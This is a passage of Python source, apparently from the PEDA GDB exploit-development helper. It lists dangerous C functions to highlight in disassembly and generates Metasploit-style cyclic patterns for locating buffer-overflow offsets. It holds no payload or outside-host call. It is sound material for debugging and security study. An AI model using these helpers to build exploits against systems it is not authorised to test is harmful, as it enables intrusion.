"exec", "system", "gets", "popen", "getenv", "strcpy", "strncpy", "strcat", "strncat",
"memcpy", "bcopy", "printf", "sprintf", "snprintf", "scanf", "getchar", "getc", "read",
"recv", "tmp", "temp"
]
@memoized
def format_disasm_code(code, nearby=None):
"""
Format output of disassemble command with colors to highlight:
- dangerous functions (rats/flawfinder)
- branching: jmp, call, ret
- testing: cmp, test
Args:
- code: input asm code (String)
- nearby: address for nearby style format (Int)
Returns:
- colorized text code (String)
"""
colorcodes = {
"cmp": "red",
"test": "red",
"call": "green",
"j": "yellow", # jump
"ret": "blue",
}
result = ""
if not code:
return result
if to_int(nearby) is not None:
target = to_int(nearby)
else:
target = 0
for line in code.splitlines():
if ":" not in line: # not an assembly line
result += line + "\n"
else:
color = style = None
m = re.search(".*(0x[^ ]*).*:\s*([^ ]*)", line)
if not m: # failed to parse
result += line + "\n"
continue
addr, opcode = to_int(m.group(1)), m.group(2)
for c in colorcodes:
if c in opcode:
color = colorcodes[c]
if c == "call":
for f in VULN_FUNCTIONS:
if f in line.split(":", 1)[1]:
style = "bold, underline"
color = "red"
break
break
prefix = line.split(":")[0]
addr = re.search("(0x[^\s]*)", prefix)
if addr:
addr = to_int(addr.group(1))
else:
addr = -1
line = line.split(":", 1)[1]
if addr < target:
style = "dark"
elif addr == target:
style = "bold"
color = "green"
code = colorize(line.split(";")[0], color, style)
if ";" in line:
comment = colorize(";" + line.split(";", 1)[1], color, "dark")
else:
comment = ""
line = "%s:%s%s" % (prefix, code, comment)
result += line + "\n"
return result.rstrip()
@memoized
def cyclic_pattern(size=None, type=None):
"""
Generate a Metasploit style cyclic pattern
Args:
- size: size of generated pattern (Int)
- type: charset type
0: basic type
1: extended type (default)
Returns:
- pattern text (String)
"""
char1 = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
char2 = "abcdefghijklmnopqrstuvwxyz"
char3 = "0123456789"
char2_ext = "%$-"
char3_ext = "sn();"
if size is None:
size = 20000
if not type:
type = config.Option.get("pattern")
if type == 1: # extended type
char2 = char2_ext + char2
char3 = char3_ext + char3
pattern = ""
allchars = itertools.product(char1, char2, char3)
count = 0
for p in allchars:
pattern += "".join(p)
if count > size:
break
count += 3
return pattern[:size]
@memoized
def cyclic_pattern_offset(value, size=None, type=None):
"""
Search a value if it is a part of Metasploit style cyclic pattern
Args:
- value: value to search for (String/Int)
- size: size of generated pattern (Int)
- type: charset type
0: basic type
1: extended type (default)
Returns:
- offset in pattern if found
"""
pattern = cyclic_pattern(size, type)
if to_int(value) is None:
search = value
else:
search = hex2str(to_int(value))
pos = pattern.find(search)
return pos if pos != -1 else None

5700
peda.py Normal file

File diff suppressed because it is too large Load Diff